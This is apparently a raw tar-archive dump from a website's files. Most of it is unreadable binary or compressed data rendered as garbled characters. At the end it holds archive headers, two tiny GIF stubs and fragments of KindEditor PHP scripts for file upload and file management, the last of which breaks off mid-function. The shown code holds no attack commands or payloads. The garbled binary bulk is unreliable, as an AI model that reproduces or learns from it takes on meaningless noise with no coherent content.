=|GD~Q6w1$Nсg=aw}s}v'%;fSOo0O,piSz%>?n;)D1y-[9r?(DpXXodPؘUv'Kg?ngm![LD6*s=M([LѵlmmLQ`aaߏVqˠKg1љbaS`F6qGwx㉲–bGsDPR,fKum4 {YpjjGq(abiKPȣn"-Igy]]!"fb;SP?%U׷FC<ȅi3^>~^R2tR26ETSwe]0$:j%x[ȥGeM(GV*7s2ުoQ*;nwtNIiRx>ܪԣi)iRxRʞLjTa{2fG?GUDǪ:^ Aq S}"{G܋Qv{G܅|Eo"REd$''@'=U% 6My* P[}ƾA,t#a[jtwpjzj!REH&S3p)e$]N_DPx2 UEOT (W3IY"-d x36,F pPi-芸2)5avgk*WQFG:J-BO츺3z(.JWu޳|Qj m(ٔ鵊+*`KZ]1KdD pqEp:CfSkTXu8;^r[s E-sPQj=!͆ uKk3.pY%kݒF'0l DWˮ A55DC|hԥUN뻊5.K7 D;$eΧ z;(5ﻹQqusU/F@4%.awu.ݷ]9a2jCqܻzNמiԵs.g/vˇs}o8w=f}So%8쥎jq 2wTn˱iB=[P.nDLajj̺CԹvTӹN <ū."Y,[’=+p.Ғq]u@ AgѸWܤ]a0'fx,]N;=u6 7)wl=CJԎC矗a;g/>!j:.+brc#3x43U ˂og LOWz#UyTTqo*y׮f2=i/]Ն&]h`#B/.[8*ļcZӜ#r򯜎}U9|psg%9Z0/\@ٶ/n㘶;vaa޹d o:T;X{vtZ3Is8+!gx3$y f/ ?wzw?^)vw}׍&&#ן[VaDDm)me:+lϋ Kw;J)m \a=@x+ps1:fcKLdXéέ'*fp2lKL38iT%_:Ŕ)f%#Y4c}3S!F+ mV54w)62X~7bʗfX9=h?nˍvux77tcT*>Qs/w4뿵[*G/MˈcMx`Kf|cՍ㜽tyv<.s|XϢOU>cF-9rL)tr~tҷ_ӉC{ysq-~v tW?_0WO]C}A!t(/וĸM jL 8JeYB56372Y LκiKJPI ɚ%373Xfl ®-j%(nve(nhR-K)SsiJbuDMɚѸ%gr׳:0ҕP5ý TCB憝g W"?n7:DAO+SqD A'rYJ[:GNw­|+3ZZG׸*8PR@}KI;ܖfoBn5 xu.iS3=PXHr@rA9 ɞx!IO"T?KTEJ|&qSTܙ-S-BXXEɑR3KԵ.5薴REΝoK3 B|ߵ,mnR|57IR(#cK+:Qio Ee$\QPjB.u7 x"e68HWE~Z4gz,.uٹ,DZX\CaB}&kBsMP"抃Pθ?zYK+ZX\P*nT΅ǶZͮEέPX(SAs%6hЋMEɎ(&ԵvZh.b-%\kzCȄMߕ_x2b&㏉~`,7s]|Jo^>._0 d>(:Y?tGwA$Rgyu9%e5-cۢ7u#^:'1 tL_yf:rX.]s%:Spyzu#}L02n\yz.EFYHz.EYषn]Zˤwz.E,UY qVti2Gՙnжy-wt"~[QЄE=|q]`Y㻺ATjbTj:;.nnm1k@!枍:D-%4W OE'5Ex7*ZSsUn7KXUfz8oj}p;X eCV'ϽwF3޻c] s6EZ1i/726iUb{#\E Ӝ˾r89өiywqns22b2魚AW9{uhi{u zjν=t[>iWCʱ0ncO3 ˓ 9ȫ ˓ګ3+˚:r*0#-boYk:\z9BOR'/VQ; 뫌S66=tτOwH8R.?8 U# L;v' \7^;xqrljQa4D!5*Dt$Kg2SXKL‡ִ7fRϲ@4? hKLfNSF_dO}\|W5@sQ#ݑ1.WxrHR|[AFicW0uLcLO^h\1\i𸋫E׷~6 D@ߤ<3sptIKg  e:1/3*ܦT8?k'2eW<`C15sz\vkkBQqxv/K÷>Tn<^qN3sp뷈lxf|b[z?,a/\xiZJH?+_"Gx'$.s?ow`'\s᜽y^^]> !\:-q;^y$,æo8)jW3qlS}q9Ašeq#H+ S}AJwԙj0Q| 'e*$d#BANǫGpq|S@0n<;~Y˞pjOR7w R-qKQs.h >]z{,>Se?|D9_o LW.y-DA잊:yǏ}Q$>뫨5nIn!]]ENSuvGs, 7n궊]!\zNE38#V]!]9$pCӹu7lQtr8,JغfGHGt1 Yn; mSTn:;ʤQw]AF5FNCdSBkSѯG]ؔx GGEؔRzeNTjz5vS9IXnk '됱k9_ô@b_f= o'.'ƛZOZq^;8rW݇bUgzzpYy׮GQFCb{= 2Dͽr>raUXyh!M81/6Fe0/n㷟5&>ezh&>uΚHo2֘y׷F4X9{sźi*30nhغϼgV&X+!0Ἰx[376SPO+l9^º?hۣ +yIնfMsi ;B߆/cp6+\^8 ƤX ĺXIs}Yt1/fcx1?uF]]Eag}?&?_0ww]8g}'H랱1./K;?a7]X(t13q}^4E<ո1_.bkڥE/0L'HUхD~  J" KKe]t4#$0a11NLW~Oq&`@iE3c[gW|{kĒ^yIl$I+y/BYrTz0r˻y۱p@[fxf&+ W&.o3/ a|v-ǏKW_(|/y+]cqo~˷7ffywx{8WGK ƻv X!S;Fa̸yߐ"q  tA]ASWHo??yO?iI V{ dCIRL{ d*=GhVL{ d\S*X8rK2aaKUIfpf̨ 8"ZeC`PahlfB>2,*KLZ,%C[2efTcj k>){ XX4Y2ahm'{ `&Rf0ibOrB5։# 8Բ|eltKL #T'K\Z,<ќX ,FfX,JJ2B5ԭ*[-dJ2ehҵlʯaK nmraJL+E&V:%2Y[2(%YYWC&V+Dr[ 2[,ɕުٓ+ER̙Z-ꖙ2[,ɕީfLVeҴKLZ-doT&VzLK2ehLBJɕl@Ȫ)g!҄2ehZdgE,ɕU,aj4CnmrVQJ2 )lV MeV*KJ2iR%#,Z!+kZ4-2ehQr0jK\gDʹb s mGlVeSJ+h-J_⃆ib+h aOp`j)k F%R8 ҕ+-|Rj0&薹KRؤFc--K"` K3a0jѩk–#ZZ 8Z8 aMK\0v(4,Gp"e)|Z;E ]J_+!9%eiH\_+!Q=A-ra"tk P/-F":%MFF)-]2GD)k-QZ0ĥZ4 fb-r3 FĵGcn$^:$[bb'|z~O50E^~5sy{Wx*}A#jOWMyǫ~M䣾7]:<3AލPf3?5wDd ٠;&7h'™?@3FϹ);z]dlG8 /jLz~˫p|Oy(q]oxp>/?>^^*Xc gcln!c6N뻘n!]\5:5Kn!]\NmG= 6]\ Қ 7vFj9w],2vFn 0^tA.?X؞;4!gn ;Q jƖ-z9_ 6v$$L9vYެ.+cM'\WCjW뒳XZb{/\N*<˸ƚB:ƒν09u&mZشO,L}<ۭ9*νJy׷&m(Vؘy׷1emyqDjؘyl8/. jf\7}V:(-raqTWp2poK\w d8#TgpljZ峸XZQ3k7 3t\' nL>1.>~^ޅL צ-z;܊i)FnD؅4Oni -GGm۲4=vݹoKj9%*tէ[}_htk}t8IY!a NOfΉg6HtlbuCk3r#Aja3"_g[5 eo'[  q;VgTgxAhU,ף=֫7{9ҫ37P" :&Mo]5Vf>7Ml ݴ*Â捜iV٘p\eRLÆ%ձ[faqmbbI4rlϏw+IP9_G&W32 72Ug#s&©1?;1lM-c$, V23LpS;#"b3F6:@I}8kC` SgDݓ%2 EAu2d`0lK2da`v8g~K F]2LRGC)&z@fpb&G H>8xO??ktɡzb'}|:1ɒ/^pMbbaxN`DGѨ*, kV̲8:!3ƫiG0C-2hɩighDiG# P%fprvd#iKL83(mحYaJZeѱ%fp^k!V*$#T"@fpT}0Y 8ӷRZeCly, XhʇC5ʣKLpAvMV̪pSݗ\IfeC-FPࡈZ Y jZeS@䭦{(psGswrQ|uK2QXԴ2TZ>)fY lpS;PR=5kK2JYx%W$ A䖙W$f#Pe){N@KL™/o,Y2K6RJ2BaSilpDv R̪p^%FJ%FJ%PpTqܭ@Ha]d E[0)ef{crfg)f%\%L%2&c?92'~"7m)id2TZR*-)f  ȟM,?JZ"f?JYL%L)fVə-q(,EcYIHOY$=#V,0Tpޖ`Q,r^鱶,F)Pj ܙNH T19/hK\J"ȍlޖfS)fal$#S,'%E`p/lA'd Y FowxK2#el9,t V+,:XG*+o07Y,̬0^! K3 -rP64%W* ,0$PmK\&&Գ- R+vlK26;Ĕa4w,AdY&fZ QtoK\:@c+*ZqK\: kjY#@ZaAE kfC-jevAZu@ͬR-]!$Wps K\:7֥l020-]Q Rwphf[;B` meH TbF:Kk}&,fb'Yo>>r &kbba<{|:xupb5Lu8J̳ 'MzJ|&V1"j\JqFn5.`v$zKX 2!hP2vCo峸355ƥ=[;(gT5ҖSC m@Ka+rZNj(qIn*mZGW[Hj[Xvq8I*QmItPps@Q3E>%wrC){gҕ-GmoQ뻿%vݹRDz;.ܒQ˵zlu;Tk )-G\uI'.P)N+PRTj8lNa)Ўf۸!le݄dl͡Py;QuUx6a^Ds>>gÙeyzfDXL_ˑIgˑ#uW30~=gW1ywVbayu5iVf>WQt3N˚>;cU sOP' [Lۙ1zM$dύus=6'g[9r&![Bu$Rh?aI3F&b*[ fg03d,%LP#K- irP]ja\Lȧj]|{60h:3}QN!a.̣$ֆ@aBcK&R#ix2R2/$3shHZafx2# R)`@`?zfhoklQǟYߑ7n`x&~#g>inr 6[L8:!gt iGFȭ)iGCh0XY T)igCvմ3p"#d"4*R, XadeD[,!-2A"l3`bKLpTU %gڠZeCC-taC8oĴʇA)ifpS[3SK"ZeC%fpT /0K۷pK2UZeS ! م ~*䨵_aSݤk,)l%reSmUP[_N ۴w%U8H6ڈ)fUȃ#v:R ?IwsR1*ٔd},īgKÚYrT6 %FDSKL#;A*. k;K0F⭙FI62ڸ[2ݬK2dLs%.^4aiMdu?,ɒlnK2,ɑYd})fQK2dfvT2G>IfLY$}e9K\w$@%LY$}e9ݨ=,ɑK\#JY},ɑҗe9);H9%2:)fS>[ǂhr4=SF&OKEaqK\rbGYC(R̤`GmV̧#;G[%$p MDK2cvz_lK\`[hy bR0SQ#Y^/oR &H͎-plcMfW/i7[%Anl /pJYH6AYmBf,,0QAq%\`X`w=f#12 V)Y;q)k [MB LjZwpS V*Y 2 eq0h0PcbY-r`튠̴( -s  ij-)keC,Z JZ-䖹h0~݁Գ-F@4pK\6ȭ ZZZ嫸9%kD*j0A}k &lM&b[YnVBbmR-H&lik{-y?Uه8ZLjSտa?,wr\ 3u Gv|}a?>~0GpM"<03dQ@.W1kԑ书 0!Z dtkW1=Z u@f"H5)wըj!nO=;d mTOVhnK*V7FɕNcԴ‡j,ʧ[kʙ*Ωf8/m*P`[LʧgH8* ,ʇnZ*PmqDz]]%.SF~.W&FW$)~)%24=If`%#CKf }/Y24C&K]Ge924;IrdȏKK0dG}+H)#OK0@EorK2^VmcK2dgv5H2B*K25t%236=)f!98mq)/h%HP׸ea;Ŗ#;%,-ר ߴjZ9h]Lj$ k}l'zY ҥ[$5)ȏHkRW+ Im _%A%VȳRL,0Sख़`R0IWf*,-rQ$5+¡ YzD~&$DTIf 91k (,; gABf:*nK\0TUR+!(-h0^ӴAbY1\`5,AdP$A3Z [TQ`$̖h0t2ڥh0~ 5K\9Fu%Zumd Z ``-r`L,ԵWp,gpBzZ廸C4&FjF@!0GT)k )`RwpRx"YMowݼ<]"S RE=/q7}߸/ݜ ;CL3_E`p"yl-\z;DqF2[xw DLZ -P-᫸j#&ʲ)e""V;L +"DWVᨲYa mb=J4).&bt;t$ LK?帟GCLi)GV8LqꥉFfiN ׈uc2;)ISv ٻE'!Q?qؠh2Kq}« o B$G(L~I:AsX,yDV1 ӉJ;8*ĹrQ?3gk`&i_ngdi:_l;Mm3}\5ժ$IXp 7~7mz(V0{ %!bfgՁWK)Gup28fLE&{aͲՎ>Yљ´"K&k1\B oV%0b)3eC3hի#S 8mRIGA? jٕF0țOTU{ R2eۗN^t^|Di^^+{.z'/juc\?XN7~W@%3xk$-D8yyyuNP**չ2H V,^$,䖙dpd?,61Жfp٣R,p<%#0bZe:H%fpr[Jfps#ږPifYdKEJë́eKLpt2,KLp^jbK2,2i 0qPཱུT831Z*PZڢV*BfT8* `KL™) RʧA™*-̨pBaU8(;6Ff8*?%TAbU*;̪pG~x+iN ,%T` fU8*DqK2Q 䨶BeSoXx%U8)X*!,2Rb{M@KLDzmRFJ426UщW#8,2LI&PpFC9##3OeiZenR#$&o,L -S^Lλ/ vEkdD?d{ly/pFf}\T2F6%8(&V0Y2#l䖸2>PK0,3X92&k4D``ș5Y}If 9% f%9#H@$g:lRrFf%2^5os&DL~I&Sݠq-R)ȉ] 854e#@;y1,r'M;$`}hŖ#5;-ru3Rr@ځVW&F@O+dYj,SFe9*+'_w+d51윔,r>X`j`el`eDrZlK0H,rPD>mK\0QAh,E_2Y Գ+ TJ_%XfV(,)%cw,DB$f?K-\`kTZ>)faat20W ؃uh0gv Za̮0r0lvAck 4X\`!5jY#@ C(--r`#)1h0r0R-Ŷ5-rY XeI haWpZZL9)k=i8K2$"RZJΛR-HbK\w P "-r,esbZZ Jgp%$R/K 'YwxtrO[Է>Q"Et_ٚ], m+9_ȹ } e.,]s1ĺQH j0c [Qj*MaIG-EKj"ۻf+dz9VgSG.&Rڟ.[&)%6vIVmt9uC5$j.,DDfjҳ-Gvz%tnH?N\[O|:y*uj#ըd{JCjR᪏F)d3N"sSٮ@Gt"/κAFE[B ] ;xV eQmt4jӛ':IDm(u&/bl< {K,^tB>96mO;79*0zqKcկz|%KsCil,C7@mVX?vf8ԴÝ+,Ͱz ,gEPfd֩ö1Y9%0p#YH%08}:HdEpub \{, +MZo\ 6)yz)Wڇ!,Q+:"OEE',m+ rkGc_9և4Eq?<p!c=\g= /ߴW$&v+fLBTwreEid,#%?Sz@,2"kR:gT^L 佧*وNI串,he*-dQoEl2Z72gk fLYdGR̙JZdȏHrV̙IfL$&DzEcY"=K2dS>XK2ddh)fS,ɒފY i,r^׾,3[\Br&cPRHj urBOlK3>P*ˌE +Z|(u fW9{@yk z[IY8mܖ\`fK\0S mK2 ZPӷs̮0 ch0s$\a$TIk!ReH9A 9-ra$f%h0,ꖹj0Y62Z4 YaFŲGp'-r, x JZ壸_A<-K\w e1lk@x"nD " j16wA7݇\Kj#b17LGdC3-Ǘ={]^ٕ}`HӺv5|{Kk0&[tBAqCvX@FŻqFY_H ͤxh.hR%Ҹn·SqsEm2ZW+}KTssMԳ\Qߏg\)Zl대VI[SqOw]4]*uz4ӱPSᨕ"Pe[u~IdjgF QZ]SUXKv,ТLӌDEi`z2yat$HȆ՞c2pC(18/94J5'FfKR"}}-]:1gv9/E#Svr3~P @U)fPK2bA?4G `୤8V-'ŖVOO,& LKIP~cۆoaaIT|Y =Ltʇ5_tG֖eCacRTU38FBͰn,ʇ؄;!KLoeCdKLps̨pJ*$Tlʇ0ܖTo*̨pf;W( ij*$I)irsl$%Twh K2Mo@Pt Tʧ,ʹ6#R̪p~ߥm2je\l`U89!xopBgNrK2^6*wKL2RvK2P:%FLLʹ&ڏ4!@*d %CG+3=aܖf2T;[2S;Q'zY>!Pi2@FЖe(b,r^扔dƷy+kܖg/hR(ɏmIra\\NHLo%FHzE|Z9/i-YFOҥPpMo2>}R ɑfL_T2d}dfS_2>}R ɑfL_T2d}?i &jK20rZxrBgky-0dRrnjK ~ifS3=`NHku,r^TL$$8[%C3zY%;I<)2GkxK3)!uK3+dz,'$Y Y2BP Z|wKL%;-rѩY 4ȥV{k-R̤`SBY[%;ZFLڗ&V=gS92Kw5K2LS+ nel:ikeg6!+dZead Z|:,3RF-rA5eqS K0#urZq32t fVIR\`+ R]WIҥ,-r6Mp̯;_eAdR̮0$î8+#LZiFZ $@ +R-2iRئRu֥Ww YRr,pM7E-sa0IQ, O%RZNjAA֖30Ͷ)dxw Ed_X#R-~5r-i~!BRֽZ&HER-P">ifZ"]ږ=cmL R֚XZwpQ-rۆCAy(Cuj7J`p`d+-f&c򟤰Q6FSV#WnճZK_ l.lf֖vXwn2 :N0]jWQd(]s`l:ȥSHNYl댌C9:Ef^#,k[ңSQ _z%z2Fv";%Gq*ͱy6:#h3̂׶z<DOfeݾY6:>>6:'^3J1atgq|3SafB-R9-b1lNl2zꉷF\f Lv d){ K2dNO>&LV&L'CME,ɓ?,rՠV(ɔ֗FS% !;ze9/`҂Rre93SY2t%,F zIYĥHp fVRlC0d۸rX`k8n &fPe91IsV̤aQ襙X`i@K\'<;e#$u,ϲ3f7%[&)-r el1x1 (&K\0Gj R̭T Y@l Za2reaAe,0-K\0HvYK #d r\a4)RLYdJY@$.䲁lJ`$떙VIFDuW8Z,B]\a$&8Pk+H iHY,-rV|R( R FlϊN[-iQZOZ,o!N,.fLV^wڭY5ZelΉrR`Ȅɡe\d8Pc5rnfS,ʧ0ܗaC &SJFQXR=Vi~Uʲ0ʸnLf4إeT PͩpT9[2V5o)fL5,2ӥjٟddƀ%2sS9FPErfQ"CQ䖙e#v7Y(pKI0,11Y2zBd4(ɚ-K2d΍K2dҖ+fQ>_T&PM}R̙C5K2e,ɔ>_T&PM}Ŗ&fe|̙3EY&h,rz0K2d,ɓy%(&6K3 I䲠Mm<2̑el2V!,̙3 rNNvUK0dƀ%NPzFR'*= jdʓol7fMK2K3rӦR2 6% ؆ֆnV9oR̭wҖRroP0+Z|ؖf,2n&eqlcc5.+e@nQT29H %WgDJW- -r vHt-rVR 3ZV*K&ʴh薹m``VR EY-]@>Yփ,a~QkhԴZ "KZAg, hVe Ǜ`䥵Mr JZe.-r-K2vD:-rL]mR֗ʃ2adXmK\fBv3 QrÐ]hBRW@h0@v%)^pABJDv,h.&TĵAKHʘj.40l贸#ĥ\L8hEHKZh.Dl(ۚ"ȢAsevQt&;`T*hi)k]ڋ(?i:`QjZ7PQ["x ,_&`mpv m%9Xh W{ghm;|%4hM^R~l ZRdj7dE !h֪s Fj"`P#*Ϥ5t0S*2@D+2.anK*0ΑH4F}A?=V"L&%R1ZL(]J2PbKq,ˢX-yfX"-4)L"օ~O>; W嚆HmCF:Lp[?,Mؙhy 'Z-DfntVљ$)i>+ehҤ)GC&BehҤQoPNV+K2,4-rfiJY5ihtQh{lɖ/a;LbYeIiNZ YhҴɕJi9Z-eV4,2n-ij,v,ʹjpe9jpd 2e֎HfSiR2iR%Z4,hҥnJ2irehK})rQO.J2iR)HѥJYFV*Bi( ɖZ9!-@.(P,K+l'ce|[NV+K2Ṛ-FQJ(QckeIfag0`DR0\Zh\2YBΊR EH†4-r+F2iZZO~)fUѥIr(``׮YiR -|@0+K\Ve FUgE-l0Y IQIi21EOTczAP4,vtE BΈeR$:m YMĄC̙C6%'%|+AjD2h9fQwOYxơIfQZYƕFV+K2e Ʈ\%C1\)kIh–tR?$ɔΊܙ2YUɔdQgK2e(2YR̙J,)fLtRreh&Uh­e#(f5uK(f5uK(ѥj#DCJ̯9OLFE,rH7)ќ̙ZVfLw"|C6%aH-JwjJ[)9Q0bIFR([\Dz̭+K2]6ޥIeIIkFT@rV\\NCB6r 1q?lHmkoH];–R !ZHvԥVkP ԺZ[ BZR[Y/mRX\B-,.hnW⊠ޥ xhm\KxhZΣpBZ)asFl)}MaTA@ RJYKx^}\]<Z.ӣbTȢԯ ǤD_K7Ж..8\]mZRd`Rֻ.ƽP%BɆ`pS\8): |K@j 5GUÌk2_eóbTਫ਼[MFkQ i`Ci{I$At(4i:TY=V)}àRgQVD:^!J3mX"(^n)UVR]<Ot j4̸cv#MJ>=\7*HAXANىDphh P͡,Ph" ݴ+s &aXv%PeU. ejѫTu{rH5x7bSCwH44q OT*n4 K rJJN!^ʛN7R3 eBHIH7QKBGwU*U7Rç% Ԭ0i RzQJxN<ʖR"$%R DUJ |Q)6 rR6&UĢT PO`K7::#BBJ⊺sA ZR6*m[*T8R$|0#BZmb oA)M Ҿ{EM+e#ENK*U7}nV D<3i[RGW.%G$n(v)e{MNIiHNT?h|#%# -r1\#-m\(˳4֖R<vj =/@|.=/U[JF_k< c ߷11Rp 8,eݘ9eK(@BYAz`4 e[?˲Z#,䲠 3eǥ2o"&}(fOo3'HC2e2L\BpR2Ipx 䖹F\+tn f~L?pK3eY-Oj~gS?&Z%2,ɖ f~LV$?)˙,, I˽05p8Z2zBpT" >>3&_i2eǤɔǥ2ek\2N䲡9v^\Y83z`vryN c+weTeݘ9vr6rK)"!Kx G؋IMg)F\L]P)5jO+I[E5M'KRX\PL6paKJ[ȻZ|3_%gW3참3H> RYRq@X\6}@I!VEDaUiqq8JY_ YPKZH ؋Rrٵ:$YK zkS褋6  xY 7Rio :!K 4-'LKxoZR)9 R|@Es  "3OkK>vVOX]A63T*R.Pȥ..c7pl _찻)eJͭTZB?'=ؘXNUpZ'èltsPHYWhN=Y@`!`#`̜p uN tKZݻ3m)jk22l@0S\:LAA~Dp2VN Z$9=J4$irS FH̖HQR1 :a U FT."XU5aT.LkA "1m2:hԠdtJ!y :B5Mds9.8-*. pR4X^#6@UpU. b 0#&eSv]^Jv uDPݘ> rj%b1 #`Z {+hNR_<~xy. TDRʕMܒlD O 쯈DW*/St"ȥ7@ wp iHt)SuOQjPnnT,"&?iHPt WǦ'T * rT#Ť<>7L!K(ʹJĸ*O D<"P*ZW rRDbQoSWAq(TAfWîӸ$R<3G,EЯH(T@DAJ<4ZPn Jxj_BMT▕ e|h`ܯ%|OT3VNJGQQE<#tLRn>Y_61hK+ˉaRP>}'ZfQlifO 0Q e#A<g}ye|-7<~<~d;!=#d e{zeve{z&`}Rz\/CK0evrf .Le{zY^\Jie{WD2xwtC'O ([fzhg<'G2 YGV|ife LKZ[.&J<4Z.> Y_ >_&Q:vU BHxi-BEƳ7z|ABW| Y_( ԿZ$\k¥Ekx@$\AB&WUZOQP6IV%,4*唟 gy$:ޟE@.hm?BMSBrT恴 0)G"/_AN&KJ|T 9IMJR|Z0S쯔| ROMO_Ab_@lnrn$\]@ *Au :cuNPO@ vD kP$pg?K G^rBatDk-jV_Wn)*[=9*A&q8=`nژX]I*p-e5nTa6jVPvnE] &E=;S`4`ZT3p3(-jloEKRtj%v 44KO&V-y膚ԶԢCQ&i`1-Uh@zjѨ,4 ABxfbB)sۮ08 mxW#$S=x槸'>Pw` `PP~A?EB<&a\x6K*{┊7UtA:(T#Ŧ+TݶWNJo$d G5oҥݳ_kgU,c(+HrQ9*R<4Zy%xD֕/䯓$m=T#&PJJۥj Aj uؗ]qpxuؗ Q>9/)>9>GmBӷxt#o$(;y!G 6:J&[–T'=OPN'=9 +N{{y%8)vO8zRdp:j/Ok%.Vn aC20 PeXw(paȡS٫i=SBCMw'+vN"J{(vmK+LM4>)kPKX]P5hKfI}QxY@$CJӬb LÓKUOq-r׌emRE:bDHp(U\"/ !Ub$-B #؂ cApނ$\<5#9iDP1e!h!#uhԦ*MWnD5bZfLcMqdtY*J; iZpj D̬Y#l<>jH*ܩ!E v-D;A,BoӠN35GKݦ A:vPƍWdv{NyJ;E]]TYdny%iCG؇.-a0'QZfU7aЗT8#5^JvR>H\22NvHz<~QJp#>_؎Zhh~xݑq8# rOsN}L b_1??EAu10djx' H20v7YHK*Q&1{߹RlҤ냢O=>+T'Ǧ!S(W&g7P*ډ*-IiRx%*-Ig(+IkRx$+IeIWʕ })-;})P*eIU>ʔx®}'*eI3 eI3 }(Q*O\]A6rS>:t8*O:VFe:t;>G_Wi1*R O^GSWKJxVʄ?m Z/[,GZpxK^.D ps%9*= R犁 VrufxDj}T i9+eJEpKZ6Rʞ%m $]6o$1([:T$]-B=[x'=x槹>B=IR级HDpO؞hA>9N},S>3 fIᔍD?EIHW>=g[KH _O fe=arZOe8[N{r\vO`~ 9OoX78?{=Kܓ{(wyK)3LZ-}j,OYoUl6 DoijCK x[j +dдD*An)T{\JZ.O7B{ ʬtSF(,Kdfi4pK U$( 'Pj 1̸dz 1 5b*VR7I-EWKE#XQnT av;HҖaչ>)ҴCLe)M.U*Q1Ǩ:R+]V,TGm&X곪A!b!鴠;+Fk'" puQ*Q63[.DvRҡ%#XʄvìuK3ں%e7vFwGoT9' e.ʽ>;a#rr_ٷSǢr\z; 5(\8?}B^0GsL+)x; pd_fPnhr~'iGCpQ3 Kgj&`񉝭'vIZ'vWT'J~o *4Z*>P4بGNj{\ bs%9*9*y*uPp'} })v=Om#WT'9*V~ԣ4q["Lv7¥Ua/̤]Y.N0pQ&bpTw[PvQS 6!NMcOf✗vmdNK;]})rqth#IpT Sھ pe=5kX:i:BT,Ozʭ6%j!Re{KQhc]#kFK=kg8O@Pbl䝨ZC@4eAA=%{JPR5٬S̥A. 4-j)Z*cAY@'Υn)'r%& jU/*B '5 DJ ZDž:j +r-R0 J;]2pܢ#bv‹rkKC d)F*& fv ҤxP1^P+Q8nD̝N)TG`*OhA+g 1T;i5BH1@D QxAʈQDCk- sեHhY8:('tؗ"ꁰ\oT*nϻd<Ҡ>%.DpvuK3;W-3i6+]g=S*p$vaܜ+P JJLNKvmlGSvR>vPNީpMniQ?i/AtK?;(AD}Pvo8* ȱ8*;aJ`}E `VS{³82wEGN Cպ<XK3'gVUs2vUa/̞:Կs23'ISfQ:Rx%Rx+rT1rT1rT1rT1rT1rTǧiKӴǏNҗ&Q8+RxƎ%RxƎ%RxƎ%RxƎ%Rx)rT!rT!7L R3'ISfSU/̝XK3'gVUs2xzfOV(I.S&Iv e82v Q*;a*;ɲjߧpT NЇ >"~?iQ?ipEOe y;)QNK;)QNOӒg59.NLLP`NꫢT8?{h589;}wTgpT;L[)ڔ0ꖹ:g'PRʄu]ʀ]qY,OoTZHm\N ՠB=~:ԌsեH_ZKQDK-z xO'YW99'j%cYݞDCr 4iNt ^9Ts^1wfR N)7ꫂZxK ʂ{A( Df;`ޭ&4 JRjS%$Ht :-Jd\BZ,&|\8pAt@1. AR A *܋w'L"T1U7(#NQnQgXb(z`uiK0wJ5p"!aRvm#R;&:Xv#9TAҔ,!zME-2;(kX21ɷD;\Rv{B%J;=u@2jaH#WEb0FҩrMg-sՎH=Jlcޫ: z{Oo$Nt^{-!WMr(}/TQT':lENt؈=CM'` 6Rt؅J|ӦĹ.EMag$ީr31T31>_3bYPYPvu]ʄH`rK*}V%iX aUKL;u}=R=OT0Ƀ|Rfrf`39WEn fwMdn S}E8*{OsvQo8*{߻pT;}wTv~T;}wTv~SJ{G8*N5N vM}SSOsuN oOsuN o=GS@pT;(QN e)S= 'Ost؜=fv;LUK0vYOeԖfz2fa,3vUkPvUeBݤW$>%aU,GؖT$8fxoD>31oTZ\T K>*b\t؜d]lBnmBԢEΛ99:jE,wEGMdoE,nDgmb/ Ay"p|[z1UP(v,{Z)cOcZOaH3) vUUjF99:PIMdkPN)gj'F鰥n斵kӍ52ǒ\B{v;I҄%aR @D#.d;`ޭ&ר$I3؉rMh)tIz h*T((-r▵ ʊ Ҕ`dH# +d#JGkq܂ *܉3B{iPOpDKDTAPDGkoAsZ-;) -J5(zf攺f;!J4lQnp!p"lh!aPAͽZR;H#:rGҠzqYT ~,K*mʁzxKL׽&PLN EA82|N3#4*F9*'k6!Rv;=4څJ|tAph4iGcnA?h v{~ވ#c;=TGhОh\Byrvt؋r3c sՎH =X걼Qlcޫ: {gT=곪SHp|y"p|y!{ma6!wMp@p'ډCڇj Z8Gh}PuCz>=6/QDQ@c( wE^1K;z{Gީ =wT8;Gh}P,ZCڇj!,/ aNb'o$8>omb/Yz1UPΨ >c=V9" =XsՎHRN%4'%&5h\~.S@<~b zkB zkG4haHR4鳪J;=(vsZH&Bf̍w* _׽&S8oK3rZ ~ eAIeB{J֡Ȟ9{fA, @@DCB cQB,3n hz`5IFe#JRvSb)։rfA,@*T'QjQGuGqK33BE^2i $`Pcheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330090426_22090.gif0000777000000000000000000000010011633550314024357 0ustar rootrootGIF89a w!, `dZ7qi9Q;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330092441_55703.gif0000777000000000000000000000006711633550314024401 0ustar rootrootGIF89ah!, +;cheapuggsales.uk.com/admin_frad/kindeditor/php/0000777000000000000000000000000011633550314020576 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/php/upload_json.php0000777000000000000000000000423411633550314023632 0ustar rootroot $max_size) { alert("上传文件大小超过限制。"); } //获得文件扩展名 $temp_arr = explode(".", $file_name); $file_ext = array_pop($temp_arr); $file_ext = trim($file_ext); $file_ext = strtolower($file_ext); //检查扩展名 if (in_array($file_ext, $ext_arr) === false) { alert("上传文件扩展名是不允许的扩展名。"); } //新文件名 $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext; //移动文件 $file_path = $save_path . $new_file_name; if (move_uploaded_file($tmp_name, $file_path) === false) { alert("上传文件失败。"); } @chmod($file_path, 0644); $file_url = $save_url . $new_file_name; header('Content-type: text/html; charset=UTF-8'); $json = new Services_JSON(); $r=$json->encode(array('error' => 0, 'url' => $file_url)); echo $r; exit; } function alert($msg) { header('Content-type: text/html; charset=UTF-8'); $json = new Services_JSON(); echo $json->encode(array('error' => 1, 'message' => $msg)); exit; } ?>cheapuggsales.uk.com/admin_frad/kindeditor/php/demo.php0000777000000000000000000000240711633550314022241 0ustar rootroot KindEditor PHP


(提交快捷键: Ctrl + Enter) cheapuggsales.uk.com/admin_frad/kindeditor/php/file_manager_json.php0000777000000000000000000000717211633550314024763 0ustar rootroot 2); //文件夹是否包含文件 $file_list[$i]['filesize'] = 0; //文件大小 $file_list[$i]['is_photo'] = false; //是否图片 $file_list[$i]['filetype'] = ''; //文件类别,用扩展名判断 } else { $file_list[$i]['is_dir'] = false; $file_list[$i]['has_file'] = false; $file_list[$i]['filesize'] = filesize($file); $file_list[$i]['dir_path'] = ''; $file_ext = strtolower(array_pop(explode('.', trim($file)))); $file_list[$i]['is_photo'] = in_array($file_ext, $ext_arr); $file_list[$i]['filetype'] = $file_ext; } $file_list[$i]['filename'] = $filename; //文件名,包含扩展名 $file_list[$i]['datetime'] = date('Y-m-d H:i:s', filemtime($file)); //文件最后修改时间 $i++; } closedir($handle); } //排序 function cmp_func($a, $b) { global $order; if ($a['is_dir'] && !$b['is_dir']) { return -1; } else if (!$a['is_dir'] && $b['is_dir']) { return 1; } else { if ($order == 'size') { if ($a['filesize'] > $b['filesize']) { return 1; } else if ($a['filesize'] < $b['filesize']) { return 